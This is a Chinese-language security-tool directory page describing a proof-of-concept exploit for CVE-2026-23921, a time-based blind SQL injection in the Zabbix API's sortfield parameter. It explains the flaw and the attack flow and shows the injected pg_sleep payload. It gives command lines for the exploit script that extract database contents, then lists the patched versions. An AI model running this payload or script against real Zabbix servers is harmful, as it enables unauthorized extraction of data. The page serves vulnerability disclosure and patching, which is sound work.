Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23921 — 针对 CVE-2026-23921 的概念验证漏洞利用,该漏洞是通过 sortfield 参数在 Zabbix API 中实现的基于时间的盲 SQL 注入,可从 PostgreSQL 和 MySQL 后端提取数据。 | Kitploit
工具/GitHubGitHub/qucklecrabik/cve-2026-23921
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubqucklecrabik/cve-2026-23921

CVE-2026-23921

针对 CVE-2026-23921 的概念验证漏洞利用,该漏洞是通过 sortfield 参数在 Zabbix API 中实现的基于时间的盲 SQL 注入,可从 PostgreSQL 和 MySQL 后端提取数据。

查看仓库
141天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-23921 — Zabbix 基于时间的盲注 SQL 注入

受影响版本: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: 高
类型: 通过 sortfield 参数实现的基于时间的盲注 SQL 注入
需要认证: 是(任意 API 用户;超级管理员可避免权限连接)

漏洞

旧版 Zabbix API 服务(host.get、trigger.get、item.get 等)通过 zbx_array_merge() 接受未声明的 groupBy 参数。在 CApiService::applyQuerySortOptions() 中,groupBy 数组替换了用于验证 sortfield 的硬编码白名单。攻击者在 groupBy 和 sortfield 中传入相同的 SQL 载荷——验证针对攻击者控制的列表通过,载荷未经转义便进入 ORDER BY。

攻击流程

  1. 攻击者发送 groupBy: ["hostid,(SELECT IF(...))--"] 和 sortfield: "hostid,(SELECT IF(...))--",并附带 countOutput: true
  2. zbx_array_merge 保留未声明的 groupBy 键
  3. applyQuerySortOptions 从 groupBy 构建白名单 → 验证通过
  4. applyQuerySortField 将载荷拼接到 ORDER BY
  5. createSelectQueryFromParts 构建最终 SQL 时未进行转义

生成的 SQL(PostgreSQL)

root@kitploit:~
SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
                   THEN pg_sleep(3) ELSE pg_sleep(0) END)--

用法

root@kitploit:~
# PostgreSQL 后端(默认)
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db pgsql

# MySQL 后端
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db mysql

# 使用现有认证令牌
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --auth <token> --db pgsql

# 提取任意表达式
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db pgsql \
    --expr "current_user"

# 使用不同的 API 方法
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db mysql \
    --method trigger.get --sort-col triggerid

修复

升级到 Zabbix 7.0.22 / 7.2.15 / 7.4.6 或更高版本。

该补丁将 array_merge($options['groupBy'], ...) 替换为 array_intersect($this->sortColumns, $options['groupBy']),使攻击者提供的值永远不会进入白名单。作为纵深防御,还添加了额外的 is_string() 和 is_array() 类型检查。

免责声明

本工具仅用于授权的安全测试和教育目的。请仅针对您拥有或已获得明确书面许可进行测试的系统使用。

下载工具